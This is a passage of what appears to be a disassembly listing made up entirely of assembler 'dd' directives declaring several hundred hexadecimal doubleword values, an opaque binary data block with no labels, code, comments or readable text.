		dd 0F9A2372Eh, 0B4E9EC87h, 0F8A5322Ch, 0AAF3EC80h, 0B218C606h
		dd 0A612FDEFh, 2B47D6F5h, 1D9F43AEh, 0DC609306h, 4208B2F0h
		dd 0DAFC1C36h, 643C871Ah, 4CC33A68h, 0B9431503h, 4BA3AA7h
		dd 1549B9E2h, 19C7A1F4h, 130132B3h, 754F4AE3h, 7F455B73h
		dd 7B130132h, 77537B75h, 28B1A953h, 13310BAh, 12E20413h
		dd 0CE45AD7Ch, 0F925CB0Bh, 9EE1936Bh, 817B4E80h, 0A12D974Dh
		dd 87297F8Dh, 8DA1575Dh, 1948F7Fh, 0FBD31DC3h, 5AACAAE5h
		dd 44880E78h, 0BA3AA7BAh, 451DA833h, 0CBED5B89h, 0CFD17F65h
		dd 0AF15CBFFh, 0AB7F8DABh, 0B34DF105h, 2900F4BFh, 0D6147557h
		dd 61FD8318h, 0B2696C78h, 0AD348647h, 1969C5h, 11B6A400h
		dd 4059D48Ch, 0F8AA55Bh, 4552CA8Eh, 1089A058h, 0FFB908Bh
		dd 661A8316h, 0DD3C8CDh, 63158613h, 0E7C9D2CFh,	0EED3F9A7h
		dd 16C712FDh, 8C2B47B5h, 36416C56h, 0A846681Ch,	14819A24h
		dd 149B5BDDh, 3E841A6Eh, 3A1C3641h, 0C6D34AB4h,	3810A32Eh
		dd 0BA022C94h, 0FC58AB45h, 547854F8h, 3547248Eh, 928E201Ch
		dd 750BEB05h, 15024B82h, 245C7076h, 0E9557722h,	0C1965EE0h
		dd 627FF30Dh, 0C13E1A92h, 0F0AE1EF6h, 0BCD9741h, 0D76DB137h
		dd 0E1744DD7h, 968F5762h, 0E37CF003h, 7779FBF6h, 0F08F5579h
		dd 0E417C12Eh, 0B63D5AD2h, 0AA35BC32h, 0BADF571Fh, 933BB537h
		dd 8C66E34Dh, 0FDD1D720h, 29726F03h, 4DDF3D85h,	0BA72350Ah
		dd 43AE2B44h, 0A7BB35C1h, 0C5E1AA3Ah, 75FCE6E1h, 18898Dh
		dd 3196C400h, 6079F46Ch, 2FAAC53Bh, 6572EA6Eh, 30A9C038h
		dd 2FDBB06Bh, 86FAA336h, 2DB3E8EDh, 83F5A633h, 7A9F2EFh
		dd 0EDB319C7h, 0F6A712FDh, 0BCAD15D5h, 0C9D04936h, 0B71AA62Ah
		dd 62DC1818h, 7C22D1CEh, 932AE44h, 24D0345Fh, 7E4E0691h
		dd 2900560h, 6C05FB15h,	0C2E0866Dh, 13004FF8h, 0EA04EAECh
		dd 5B44D8E2h, 93CBE9Bh,	0B915CDD8h, 0CD63182Bh,	0A27A1C0Bh
		dd 801914A6h, 0FBF6E37Eh, 0A0E77D79h, 378FFDD0h, 7418B46Ch
		dd 2F408A18h, 0B234886Eh, 3AD1AC42h, 0AF51813Bh, 1FD521B4h
		dd 6B795579h, 81392561h, 1CA35355h, 268C5276h, 22813925h
		dd 0ED04958Ch, 9B49856Bh, 81392531h, 0E0738325h, 96130DD5h
		dd 72F6FD9Ah, 0FDF3757Ch, 4C39F1D1h, 0BA395ED6h, 53838A36h
		dd 3E6408ECh, 7A05B9F0h, 0D0EAE204h, 0A65A435Ch, 0D90D8Ah
		dd 0DD7D67DCh, 17906C56h, 69CB0000h, 94894F4Ch,	57C8900Dh
		dd 978F514Ah, 4EE79902h, 3049524Bh, 0C5D6C35Ah,	207D1813h
		dd 0C4D9C658h, 0E6B7203Ch, 6E548A42h, 6A12FDECh, 2B479A39h
		dd 1D9F43AEh, 0CB669801h, 55A123CEh, 312FF7C2h,	25CB4DA4h
		dd 0F80FBA9h, 7274150Eh, 4A702E5Ah, 3E12FDF4h, 0C52CB5A8h
		dd 0A549AD43h, 329A071Bh, 0EE069388h, 4B593519h, 12FDF481h
		dd 0ED837375h, 12FDF537h, 0E8F5F56h, 0D4C9D64Ah, 65F8A0F3h
		dd 445A727Ch, 0BD5C22Dh, 17A925CBh, 281E7F1Ah, 0CAD89F96h
		dd 1C364200h, 0F5FCF2F4h, 14098373h, 7EF2668Dh,	0E4B28561h
		dd 882BE99Eh, 16DD9Eh, 9D3A1800h, 0FCE57800h, 5B46D99Fh
		dd 31A6BE42h, 5C7DF46Ch, 8307743Fh, 2AAEEFEAh, 81F7A431h
		dd 37A9F2EFh, 4BFD9E3Bh, 0EB575D83h, 425312FDh,	0C39B2E81h
		dd 727FF10Bh
		dd 0E013DDFAh, 98F4985Ch, 688B0826h, 0E78210E4h, 0FD150E0Eh
		dd 55C9F3DBh, 39704F4Ch, 2539FE3Bh, 40AE0939h, 0A7BE408Ch
		dd 7A2CC232h, 6E12FE37h, 0D4FB8968h, 9512FE37h,	0EA232410h
		dd 7D928807h, 5Ah, 0C7872E4Eh, 6D01B707h, 0BBA45A5Ch, 45AC2D45h
		dd 438733C3h, 93735987h, 51671C35h, 0C82CC2DFh,	35939C3Ah
		dd 935E801Ch, 3593C305h, 3321841Ch, 50ABF31Ah, 207489h
		dd 2B530000h, 1C3641A4h, 9C30E8BBh, 3698706h, 636B6D15h
		dd 28B6C159h, 130116A2h, 16DE1096h, 0AD159241h,	44D8696Fh
		dd 0AC14985Bh, 78F00153h, 0D265915Fh, 21BF0FC7h, 15035AEEh
		dd 0A315DC02h, 29FAE48Fh, 5C5AFB3Dh, 0DB570992h, 0A8C133BEh
		dd 0A5BC231h, 0F6F36F1Ah, 269A597Eh, 8D638D0Ah,	0CBD44810h
		dd 0E4788228h, 5D68FBFBh, 0F0FE9B95h, 617FC6DCh, 73750BCEh
		dd 1DBAB62Ah, 0C3B1D1B1h, 3090051Eh, 8A6A0B11h,	8C707503h
		dd 0F06D6400h, 4A7F3F04h, 3682A16Ah, 8DA11BDBh,	5DD18714h
		dd 0E8388844h, 0A6EF3701h, 0A719985Ch, 0F9E70A8Fh, 51CDB8ACh
		dd 615B5348h, 9E22D1C8h, 4F48E456h, 0D48C17A4h,	6E6B06F8h
		dd 0FBC1DF83h, 0EFA3FF96h, 4BEF07E9h, 0CCBF5E95h, 0C35A649Ch
		dd 7E701ED6h, 8E02F1E6h, 6FF10095h, 1F5F6F81h, 298B1160h
		dd 8D6A8A93h, 824A57CBh, 629FFD3Ah, 9F21D0CDh, 0F77C6A23h
		dd 170C80FFh, 61FD6F82h, 6E077978h, 13F0886Bh, 1C54621h
		dd 6FAD17CDh, 0E5A9AB32h, 326FF5BFh, 1EFF1ABh, 0C1B4A0F5h
		dd 269834ADh, 8D6A8A0Fh, 824A57CBh, 0FFF7E078h,	0E8A0F380h
		dd 9BB7BEE4h, 7D2DA3FFh, 0E160F209h, 0E7B43ABCh, 0DE4FD71h
		dd 9BD85769h, 0FF5BBF05h, 0BB35BBA3h, 5B23A53Bh, 0CE2F93FFh
		dd 821F13E6h, 9739724Ah, 38B5D398h, 0D5E7DFBCh,	3BB54158h
		dd 0C739B825h, 58C82BAEh, 0F06E190Bh, 0EA14BAE3h, 128C6875h
		dd 0AD4F7F1Ch, 46CD29B0h, 0D44D5AD2h, 0C7749497h, 21CF3B5Ah
		dd 60BD24CFh, 0B5AD4F74h, 0AB4BCD24h, 0F9A23F31h, 63FCE987h
		dd 0B948876h, 58D7E9E5h, 8E32B63Dh, 497F564Ch, 9B22D214h
		dd 1CD8510h, 72AB3FC1h,	3BBB9446h, 61BE518Fh, 0AC32ACCDh
		dd 415CD345h, 83263EB2h, 738EDE67h, 0C72AC4F0h,	4E7CD34h
		dd 54270D7Eh, 4950CDDAh, 989527A7h, 0A2FBC1DFh,	0E9EFBB32h
		dd 8C68EC07h, 0AC3529AFh, 425FD345h, 0E0D441AFh, 4C801915h
		dd 0A2586280h, 4A4CBB32h, 0B0DDCDAAh, 0B7EA5398h, 23h
		dd 0AC294718h, 47EFBA45h, 22917D2Eh, 0D80173D8h, 9759DB16h
		dd 0B36AA937h, 484E1502h, 191753h, 47780000h, 0BA45AC29h
		dd 0F39737EFh, 0A74A57C9h, 6843D125h, 7C15036Dh, 4992415Ah
		dd 0FAD2E504h, 6D04F6D2h, 414C766Ch, 0A6481C36h, 0AADEAA4Eh
		dd 3641CEF4h, 0D024CA1Ch, 354EF42h, 3BE30515h, 503D1FA5h
		dd 856B3EDFh, 0CB834534h, 3696587Fh, 22A83692h,	161EAFE2h
		dd 0AFCE6490h, 25177CEDh, 0D0E37083h, 200ED4F8h, 1E205029h
		dd 0DD14859Ch, 0D3E59B5Bh, 1FAF415Ch, 0B418819Dh, 0D900CAD8h
		dd 0F2F41EAFh, 0BFB32502h, 4CABC222h, 6FF2E725h, 134587h
		dd 0F5D28000h, 0A43D30A8h, 0F3EE81F7h, 993E36AAh, 0F4E57C04h
		dd 0EB9FECA7h, 0C2366772h, 0E96F2CA9h, 0AF316A77h, 0D37526B3h
		dd 0E8DFE5FBh, 0CADB12FDh, 42A12B09h, 0EDB81C36h, 40E7CD13h
		dd 8FE31C36h, 0EC0CB0C1h, 49A749C9h, 319B4985h,	251C35ECh
		dd 19C77383h, 1502FB6Eh, 0CECB625Ch, 56767826h,	82485632h
		dd 761300FAh, 140A8470h, 1774787h, 6FE55C92h, 0FFF1E67Eh
		dd 82726F01h, 61FF01A5h, 100E8074h, 92794361h, 6B6D1300h
		dd 66FA6E85h, 93366D79h, 0BC67F2D4h, 12A9D2h, 5176E400h
		dd 99944Ch, 4F4AE59Bh, 5928A4Eh, 5049E098h, 4F3B504Bh
		dd 26DAC3D6h, 4D13880Dh, 23D5C6D3h, 2709920Fh, 0E7933967h
		dd 568712FDh, 0C39B2E75h, 9681B30Bh, 62D9E1D4h,	0CDB8E692h
		dd 33150258h, 0B938A1BDh, 45AC2947h, 0BC32DC3h,	38657CF1h
		dd 0BD34ADC0h, 0E8BA719h, 1B9561E3h, 88329A07h,	64E80B94h
		dd 5B231190h, 24CFCA61h, 15FF54A0h, 2978E30h, 0FCE578F2h
		dd 1915A79Fh, 7EF7180h,	4068AD97h, 4DE09A82h, 8E547854h
		dd 13005724h, 0EFD5C25Ch, 757C65F9h, 7AF9FDF3h,	57E3EAh
		dd 1F3D213h, 38A5BA44h,	0B22F42BCh, 0DFFA77E9h,	643C8714h
		dd 25533A68h, 27C90BD8h, 7C1D15A7h, 6F8D478h, 118B6B68h
		dd 2F17841Dh, 29E6E24Fh, 556D4A00h, 0F87EEB5Bh,	1B956116h
		dd 606A7807h, 541C2935h, 0C03B7524h, 34BA0361h,	19AC37BAh
		dd 323B811Fh, 0A92F1C29h, 0E3598747h, 0E11500FFh, 0FFCDF7ADh
		dd 27C91300h, 4F7F21CFh, 7328B1ADh, 984671EDh, 1300FF32h
		dd 836E8026h, 0D9F5ADF8h, 0CE0738CBh, 0CA1ABC0Bh, 0E99F2C8Fh
		dd 737B630Eh, 0AE000011h, 276278Ch, 0B729726Fh,	0F8801DB8h
		dd 0B2267760h, 0B67D1EBBh, 0AD2C45C5h, 0E6F368F0h, 0B02D43B5h
		dd 0E0F975EBh, 2BB915BBh, 12FDE6A1h, 15C30895h,	0E5CF15B9h
		dd 0E11C3641h, 419F25BFh, 159B1C36h, 41A12BB9h,	13951C36h
		dd 416E4DE3h, 18741C36h, 0E50C89A6h, 413B8163h,	0A92F1C36h
		dd 38BBDE57h, 50CE40B4h, 3A8D5A43h, 5E1E6A62h, 2D94B955h
		dd 0D05E9670h, 150D2162h, 0CFC86056h, 762CA024h, 12FD9E4Ch
		dd 8448A648h, 1308E57Ah, 7E96B86h, 0BEB14BEFh, 2AD47A23h
		dd 0B04FA734h, 0D005B419h, 112B388h, 2E140000h,	1512C185h
		dd 3641E8CFh, 3C97191Ch, 0EB15BE15h, 98B6673h, 0B0A098EDh
		dd 0BC6842Eh, 6974EB15h, 81EE068Ah, 0C4862EC2h,	204DB808h
		dd 0C6298790h, 0BD05A5A4h, 65914E04h, 196E65BEh, 885005C4h
		dd 42C3h, 0B9150400h, 3641A12Bh, 0D23951Ch, 0B965E90h
		dd 0D7E9E5A7h, 31B33E5Bh, 0CF151EC5h, 1C3641E8h, 620596E6h
		dd 5C88E754h, 0DC4EA98h, 2847BE15h, 5E7026ADh, 0DF208C1Eh
		dd 5D99C940h, 16D1B6h, 2E020000h, 150BC684h, 3641E8CFh
		dd 3C97191Ch, 2847BE15h, 637026ADh, 5005C419h, 2FC388h
		dd 2E040000h, 150DC486h, 3641E8CFh, 17BADC1Ch, 6351AD15h
		dd 0CB7E4278h, 15507F2Bh, 41A12BB9h, 13951C36h,	0EDF469E3h
		dd 0D16370E6h, 36h, 0D4862E02h,	23AE4059h, 6974EB15h, 7D1A168Ah
		dd 0F8FCF276h, 41278E54h, 95271C36h, 88F9FD9Ch,	0BE15E9E8h
		dd 1FAF2A47h, 0AA16839Dh, 0B4CB2678h, 1AB93D71h, 0E5D16370h
		dd 2FFFFFEh, 0A12BB915h, 951C3641h, 9F25BB13h, 9B1C3641h
		dd 4356E115h, 2F61F85Dh, 37B9AA40h, 56720997h, 3E86150Dh
		dd 0BB36A3BCh, 4D21AB39h, 931512FDh, 0D34F715Dh, 0A30AD5C6h
		dd 5DD1EBE3h, 30BEDB54h, 408A18C4h, 3E12FD4Dh, 0C836A3BCh
		dd 23A54C55h, 787B1DD3h, 0FD4DE0E8h, 5044A112h,	88F21677h
		dd 0B4AA5492h, 759C2AF9h, 0B23CAECBh, 4851CD3Fh, 38A74EA6h
		dd 0E3000000h, 0F06841D9h, 66880CE7h, 0A52BEF8Eh, 0A31C3641h
		dd 5C980119h, 4C514EE2h, 36415578h, 615B6E1Ch, 36417943h
		dd 856B6D1Ch, 42B49B49h, 6A81503h, 0B96D95h, 2E9E0000h
		dd 0D50BC39Bh, 15035446h, 1EA02CB2h, 560A9300h,	9238BBD8h
		dd 963E6B2Ah, 0CB2BDD9Eh, 19B56D38h, 0E90D88A7h, 48E09F45h
		dd 0E2D40BD8h, 2AA24C49h, 0C1DF9E90h, 1C28B6FBh, 0B319C7EFh
		dd 0A71C28B6h, 9C01EF01h, 2C8D6B2h, 0F61C28B7h,	948A04F0h
		dd 7A791C17h, 55F9F8F6h, 0CA29B4ABh, 9023AE46h,	14B814B8h
		dd 28B6E4CEh, 36BEE01Ch, 78F0A8h, 0EAE20415h, 5A435CD0h
		dd 0D90D8AA6h, 0F2D4B0CEh, 837A640Fh, 0BE00000Eh, 0F266379Ch
		dd 0C739627Fh, 0E8702DA8h, 0C2366770h, 0A66D2EABh, 9D3C35D5h
		dd 0F6E37800h, 0A03D33A5h, 0F0E985FBh, 1BC905ABh, 12FDE3B1h
		dd 47D3F8A5h, 9F43AE2Bh, 6094051Dh, 8E6572EEh, 34C7AD1Eh
		dd 4F2F9F38h, 0F91D06EEh, 0C1965ED3h, 5038BC11h, 38AB89h
		dd 2EDC0000h, 0BF0BC39Bh, 36419B21h, 0ED098F1Ch, 0FE738D41h
		dd 688C10E3h, 34CBBDAh,	747F2115h, 2A736C00h, 0D61DBAB6h
		dd 26A67E49h, 0CE45A978h, 0C1594F0Bh, 599719D8h, 2A478F44h
		dd 0F76AEEAFh, 379AE2EAh, 0AE506A7Ch, 3ECE55A1h, 1C35A17Dh
		dd 7B20BDB3h, 0AA3729D3h, 96129747h, 0F3907A49h, 5B6EF9FDh
		dd 83734B83h, 947FD2BCh, 8448F400h, 0B2309A48h,	82241C35h
		dd 8081DC72h, 7F81150Dh, 4D03F3E6h, 16D8C55Bh, 0AE2B44B6h
		dd 15829C1Eh, 0BD9A5ADEh, 5B4190Eh, 0F5B388D0h,	14000000h
		dd 5ED1852Eh, 1526AD43h, 3641E8CFh, 3C97191Ch, 746CBE15h
		dd 0A4842E64h, 3641B4FEh, 0C02EB01Ch, 15874C11h, 0AF1658ADh
		dd 0FE71292h, 735E2C84h, 6974EB15h, 1982318Dh, 885005C4h
		dd 37C3h, 842E0400h, 0B9150BC6h, 33F20C09h, 4CA8291Bh
		dd 360C0FB6h, 0F0E3051Ch, 0B915B915h, 3641A12Bh, 0D113951Ch
		dd 1C3641EBh, 963DB9DFh, 26AD2847h, 1ED16370h, 2000000h
		dd 0BC6842Eh, 41E8CF15h, 97191C36h, 47BE153Ch, 6F558B28h
		dd 6B1C3641h, 7028AB45h, 5C41963h, 2EC38850h, 4000000h
		dd 0DC4862Eh, 41E8CF15h, 0BADC1C36h, 15B91517h,	41A12BB9h
		dd 13951C36h, 3641EBD1h, 3DB9DF1Ch, 0AF2A4796h,	0D1637024h
		dd 22h,	73EB1502h, 0AD038E66h, 0CF15F4DFh, 1C3641E8h, 153C9719h
		dd 0AF2A47BEh, 75EB1524h, 0EF078968h, 2D19DA6h,	2FFFFFFh
		dd 0BC39B2Eh, 0E0F9ED5h, 2C721A15h, 12FDF486h, 3A925C82h
		dd 0E8F16C8Eh, 993B8709h, 0B905CC3Fh, 1814866Eh, 6A411E7Fh
		dd 0F1F8B3AAh, 39EC2C0Eh, 0D84CA749h, 56985643h, 5D626876h
		dd 225612FDh, 96F152C2h, 0C509E7CCh, 3FB7223Bh,	2E8830C0h
		dd 0DC4912FEh, 109EEFE8h, 23C99288h, 0A000000h,	3641A52Bh
		dd 4059D51Ch, 0D549735Bh, 5DA325CCh, 9C20D3C6h,	0E87058h
		dd 229C0000h, 0E1638E0Bh, 9B2E6E15h, 0FFBF0BC3h, 603A9AF3h
		dd 6B518F56h, 5F1C35B8h, 0B13FB739h, 1502D426h,	0C6ECB2DAh
		dd 0C21300ABh, 0ABDEE4FAh, 0D4DA1300h, 0D4F8D41Ah, 4DA4312Ah
		dd 975944DBh, 7673ED5Fh, 6574EDFAh, 0DE40A8Eh, 0D81B869Bh
		dd 6C329A54h, 1300AB46h, 49529C42h, 0F5FC9997h,	0EF8C7151h
		dd 9DEB44C3h, 27CFCA63h, 7D51099Ch, 0D8982467h,	0BE0E900Bh
		dd 5B87223Ch, 0CAF0AEE8h, 0BE1C2917h, 441EA818h, 0D816839Fh
		dd 5DD38516h, 0B7348C40h, 95D6DE1Fh, 9F2CB343h,	52903C14h
		dd 1500BC36h, 1AA428AEh, 7C049906h, 0EEEFF7E0h,	0EFF2D3F1h
		dd 0B685A44h, 0B1A30000h, 5CD18714h, 8FA05845h,	5FD78912h
		dd 869F613Ah, 0F8918A13h, 1D7E1B12h, 0C8D5C05Bh, 1C811E10h
		dd 0CECFC864h, 0C6ECB2DAh, 0C212FDE0h, 2B47B211h, 0EB9F43AEh
		dd 36420FB5h, 1DC30B1Ch, 1C364197h, 13E30D93h, 0C2FA8599h
		dd 0E7A2F04Fh, 20AA3883h, 141C35B3h, 27955C92h,	0B4C35D5Fh
		dd 35B3C4EEh, 0D01EC01Ch, 0CF619F21h, 0E7CD22D2h, 475D1814h
		dd 1C35B37Dh, 55797779h, 0CB26B3ABh, 0DAD0AD49h, 89508BB3h
		dd 5BB4h, 9B2E1300h, 46D50BC3h,	0B2150347h, 11EA02Ch, 1BDB5D94h
		dd 930C2094h, 6B518F3Bh, 9B13013Ch, 2BAD1782h, 0F66AEECBh
		dd 2A7D0AE9h, 0CD605A72h, 0A14F48E4h, 8226CE52h, 0CE57715Ch
		dd 0E731910Bh, 9A432A4Ah, 388220ACh, 2C1C357Ch,	12944AAAh
		dd 61BA589h, 0C928B5ABh, 0A64DA947h, 6772EB15h,	72EC088Ch
		dd 9822C0FFh, 8C1C3641h, 25B7E40Ah, 1C3641A6h, 0DB5350CEh
		dd 0DC6B30BEh, 27BD11C9h, 150E0F2Dh, 63697753h,	5712FDF4h
		dd 0E9EFA551h, 57D9A9E5h, 0A54C8A89h, 40DF51A5h, 19634855h
		dd 88D005B4h, 12EB3h, 852E1400h, 0CF1512C1h, 1C3641E8h
		dd 153C9719h, 41A12BB9h, 0F1951C36h, 364209B3h,	15DBFD1Ch
		dd 15963DE1h, 8E6570EBh, 0A395EA0Ah, 0A4842EB3h, 3641B4FEh
		dd 9E24BA1Ch, 9A1C3641h, 0C628AE14h, 2E874C0Bh,	0B6FCA286h
		dd 0EE1C3641h, 3E606277h, 6E6521B0h, 5005C419h,	38C388h
		dd 0FDFF0000h, 9908960h, 2E700FE7h, 150BC684h, 3641E8CFh
		dd 848CDC1Ch, 0DF34C3CCh, 159043ADh, 2BB915BEh,	1C3641A1h
		dd 76ED1395h, 6199363h,	6370389Bh, 2DD1h, 842E0200h, 7DF406C6h
		dd 411EA43Ah, 941A1C36h, 15F39A5Ah, 3641E8CFh, 3C97191Ch
		dd 2847BE15h, 0B91526ADh, 3641A12Bh, 0E313951Ch, 0C419B192h
		dd 0C3885005h, 3Eh, 0C4862E04h,	5D7AF608h, 0A4AE1296h
		dd 0D86E742h, 156C13E3h, 3641E8CFh, 12BADC1Ch, 8F6770E8h
		dd 47BE15F0h, 6B1FAF2Ah, 36418F35h, 9B658B1Ch, 54D81B86h
		dd 637001A0h, 20D1h, 862E0200h,	0CF150DC4h, 1C3641E8h
		dd 153C9719h, 0AF2A47BEh, 2A5E7024h, 36414E74h,	50A44A1Ch
		dd 0FEC9D1B1h, 2E02FFFFh, 0D50BC39Bh, 150E0F9Eh, 8838941Ah
		dd 0DC516EECh, 16AA2EC5h, 7EF439Ah, 0DCC55963h,	1DC307BFh
		dd 12FDF697h, 5EE90D93h, 0C5379757h, 40C42FAAh,	0F0DA08B4h
		dd 0EE12FDF6h, 0F6BE049Ah, 34BA12FDh, 0A74A57CAh, 7D23D125h
		dd 0F6DAE676h, 3EA712FDh, 49187556h, 1D4F9288h,	80000000h
		dd 0A12BB915h, 0D11C3641h, 5E80425Fh, 41C60896h, 7AF61C36h
		dd 0AA42405Dh, 83000000h, 0BC39B2Eh, 35536D5h, 1912AC15h
		dd 3F3757Ch, 47834B4Dh,	0D81CBDB5h, 0D2CBC866h,	0C8F2B0DCh
		dd 0BC13012Ah, 0CE60DA1Ah, 29522D1h, 95C824Ah, 9F0BD8F8h
		dd 352BD5F9h, 0F36DF3A8h, 35800BE6h, 5733715Dh,	8F1500AAh
		dd 2613B9E7h, 0E1071301h, 0F10BBF0Fh, 0E2FF737Eh, 617EF20Ch
		dd 74E60E92h, 3ABEDFF8h, 2A5D8B26h, 0AEBD3DA8h,	0B997A440h
		dd 9B46F2D4h, 815B3h, 0C5E25000h, 940D20D8h, 0C3DE5107h
		dd 890E26DAh, 0C4D54C14h, 0DBAFDCD7h, 92465742h, 0D99FFC99h
		dd 0BF415A47h, 0C36536A3h, 0DDEFD50Bh, 0BAEB12FDh, 0BE2B4719h
		dd 1CC231A6h, 36413C86h, 38B6381Ch, 55C93BB6h, 0E637A54Ch
		dd 5C170BFEh, 988CDF59h, 0CAD31D65h, 5063A5E8h,	3DC289h
		dd 15110000h, 0D0A879ADh, 1ADA9C61h, 68643C87h,	32A573Ah
		dd 362BBD15h, 2D715B89h, 43651301h, 20B043ADh, 13012D9Eh
		dd 3D1E065Fh, 92850E10h, 6E57h,	0AB4B3300h, 55E5DAD3h
		dd 15E38A6Ah, 0CA6A7FADh, 0A53BA2D4h, 1C35861Fh, 9B5B951Bh
		dd 0E9E5BD08h, 0BD395CD7h, 0A90CD311h, 0DE001502h, 0D44D6F13h
		dd 4AAA2EC5h, 0DF535CD0h, 0E96F2CC2h, 0FA856C75h, 0C9D7F7AFh
		dd 0BCDB84Ah, 0AC2946B8h, 7D33C345h, 8917735Bh,	1C35B743h
		dd 30A9C137h, 6D6136BEh, 0B7398321h, 0AB2D1C35h, 31C0D955h
		dd 49A847AFh, 0FED6E100h, 552110CEh, 91171503h,	0F1AAB78Dh
		dd 3A8DD30Ah, 59346A62h, 0BF4BBFEFh, 44AA3729h,	0CF9722ADh
		dd 3AAE4550h, 0B93BB623h, 0CF15B937h, 548D2761h, 4F7B5355h
		dd 0CB26B3ADh, 14DAC759h, 0F5F26EE0h, 1FA53B7Ch, 1B52F2D6h
		dd 8955B95h, 9BA55E1Eh,	2F0A104h, 0FBE478F2h, 0E212C6EBh
		dd 0A28C17B2h, 6AEh, 2D6E4BE9h,	722BB6ABh
		dd 376471EEh, 6B30A9C1h, 405D7CF5h, 0ED840673h,	3229AFECh
		dd 0EC82F6A7h, 362AAEEFh, 903CF4A9h, 0FDDB6852h, 8C2F5C12h
		dd 43AE2B47h, 93061D9Fh, 6B76E963h, 4A029532h, 32984682h
		dd 261C3641h, 2C964C80h, 281C3641h, 14CA6E86h, 150E0F61h
		dd 2EA25157h, 0DF40A431h, 0BEF2D730h, 6444B33h,	0DD7F0000h
		dd 40DDA3F8h, 0A3BC4459h, 7BF36536h, 0A2BB3D5Eh, 0DCAD6637h
		dd 0F9A2372Eh, 0B4E9EC87h, 0F8A5322Ch, 0AAF3EC80h, 0B218C606h
		dd 0A612FDDBh, 0EB15D6F5h, 5876A77h, 7B5366F1h,	0EEE8D53h
		dd 0C4EA150Eh, 0FB77892Dh, 659113DEh, 0E47974EBh, 7C72F6FDh
		dd 0D730ED68h, 4931B0F2h, 5E6h,	5963321h, 0DAC3DE53h, 0F8C0926h
		dd 0D3C8D149h, 1885140Dh, 859C6E1Bh, 5AD18714h,	849A5E3Fh
		dd 5ED28617h, 18745C41h, 0FDDA408Ah, 24A73412h,	0BC39B2Eh
		dd 0D9EB7AB3h, 5D71981Ch, 358B7D47h, 7F77791Ch,	59CAC5DBh
		dd 0A82E150Dh, 3D58D749h, 0D7DF22A9h, 0EF87BF2h, 58Ah
		dd 693297C5h, 3E5F7AF7h, 6338A5BAh, 8714859Dh, 5C4158D1h
		dd 0C9602A5Fh, 1E15CBD0h, 0C05E227Bh, 1A16CAD3h, 6428207Dh
		dd 0FDDA743Eh, 60637012h, 43AE2B47h, 0FB5EB9Fh,	0B1C3642h
		dd 985B7EF5h, 0A01ADA14h, 0FBB138Ch, 3641EBD1h,	618BDF1Ch
		dd 0D48CA472h, 0A01FD719h, 0DF8EC39h, 4D138811h, 0C804C8D1h
		dd 3586B01Ah, 0C2E0A41Ch, 1C3586F8h, 0F004EAECh, 0E301CD71h
		dd 1C3586D9h, 5BCD9DCDh, 9DD9381Ch, 0AA0DA353h,	0DA1C35B7h
		dd 0EC9E5542h, 945B452Ch, 6F03FD52h, 15EC7F72h,	8E6F4C2Fh
		dd 425FD3A6h, 0D44B7559h, 0F9A2DC9h, 25CBCE67h,	0B6D2D9A9h
		dd 656C100Dh, 0D0B7ED91h, 4E150D28h, 0CD24B5ACh, 0F3F5AB4Bh
		dd 0CBF1AFDBh, 0BF12FD97h, 8F31DD19h, 0F6C60693h, 0C1A30078h
		dd 0F5D222A5h, 0FFF2EF83h, 0D3CE615Bh, 0CD589C20h, 0F4AA22FAh
		dd 0BD5553Eh, 0A618B43Ah, 0C8900D8Ah, 1BA84B54h, 0E6FCD088h
		dd 15025213h, 0FBC1DFABh, 2B130045h, 951BA934h,	0B92DB361h
		dd 0F2D4DF68h, 6704EE75h, 0A2000004h, 0D68A13B0h, 9B5D3E5Bh
		dd 0FC841984h, 0B62A7364h, 0BA811ABFh, 0C9D049C1h, 82170CD4h
		dd 0CCC96719h, 8C1509CFh, 2F75190Fh, 12FDD985h,	476F5481h
		dd 0A303802Bh, 0BE6F368h, 8A993989h, 0DDE9CAF6h, 7BF8618h
		dd 9A960AE9h, 332FD1FDh, 2DC94BA6h, 6C246F50h, 951B4260h
		dd 0AFDB1502h, 58CBF1h,	0DD19BF13h, 0E2728127h,	130058DCh
		dd 9B96130Ch, 8F01F0FEh, 5AF20194h, 6F20DBC9h, 4D0EF6h
		dd 679285E7h, 4Ah, 18AD1528h, 9B486FF6h, 0E7B245B1h, 0B8DF9F2Fh
		dd 4ADFF3E0h, 0B6EC9064h, 15031F67h, 8E0B2597h,	0BB36B866h
		dd 0DE8B2Dh, 35A0BB13h,	0C6D34ABEh, 27537B2Bh, 78C60792h
		dd 11D4C065h, 1E3F2580h, 928501EFh, 0E678h, 2B475700h
		dd 58D143AEh, 0B40CB241h, 0F6E5CEB2h, 15876FFAh, 0CD718019h
		dd 6ED9E301h, 0CBCD1C35h, 24BDB12Bh, 7C1916A8h,	2603F375h
		dd 35726D96h, 128FA31Ch, 3E5BD789h, 0C59D28B3h,	5C79F709h
		dd 37E31395h, 23A93793h, 211C356Ah, 356A3983h, 19AB2D1Ch
		dd 96D15F97h, 8A150297h, 0D9566864h, 43B335BCh,	16CED966h
		dd 0FB1728B6h, 7B1D0BCBh, 39B0A953h, 4354CC25h,	2CC246ADh
		dd 7970E96Fh, 0F3F3FDE4h, 0E9A132ACh, 7C8B231h,	42000003h
		dd 76EAB310h, 3BBDDEFBh, 1CE4B924h, 560A9304h, 0DAE1BADFh
		dd 6970E9A1h, 22B7AC34h, 6C690779h, 2CB5A92Fh, 0CF15B96Fh
		dd 12FDD7E5h, 470FB4E1h, 9923AB2Eh, 0FDDA1A87h,	0CAD8E77Bh
		dd 1C364200h, 6E6B02F4h, 1EF0183h, 7D3A33CDh, 36415D67h
		dd 9957591Ch, 2ECB805Dh, 3D58D39Bh, 9A851BB3h, 5E150371h
		dd 11428816h, 0B0361301h, 0A325B33Eh, 64130111h, 133A1301h
		dd 5492852Ah, 0D6h, 75EB1533h, 0EF078968h, 0F9F8E17Dh
		dd 8EBEE87h, 36459378h,	0C72B931Ch, 0CDA8FE92h,	0D74BC531h
		dd 0E3DDD1CAh, 22A64D48h, 0EBC458D2h, 6E856B76h, 9B3836C8h
		dd 25FDC85Bh, 597CFBA9h, 8E201503h, 6EF20196h, 794C1B80h
		dd 2D612DA1h, 1084D77h,	4FA74913h, 0CCBA3FC1h, 233DB30Bh
		dd 37B93BB6h, 8D0C2597h, 49688141h, 38A70DD3h, 0FDA31C34h
		dd 2EC0C9C5h, 724EA035h, 3700FBD1h, 7B50A4ECh, 796D6C05h
		dd 0E9A14714h, 0F7402AC9h, 32000001h, 86FAA300h, 2BADEEEBh
		dd 6CF4A934h, 46BAE3F4h, 2AF1AA2Fh, 39A0B951h, 12879C64h
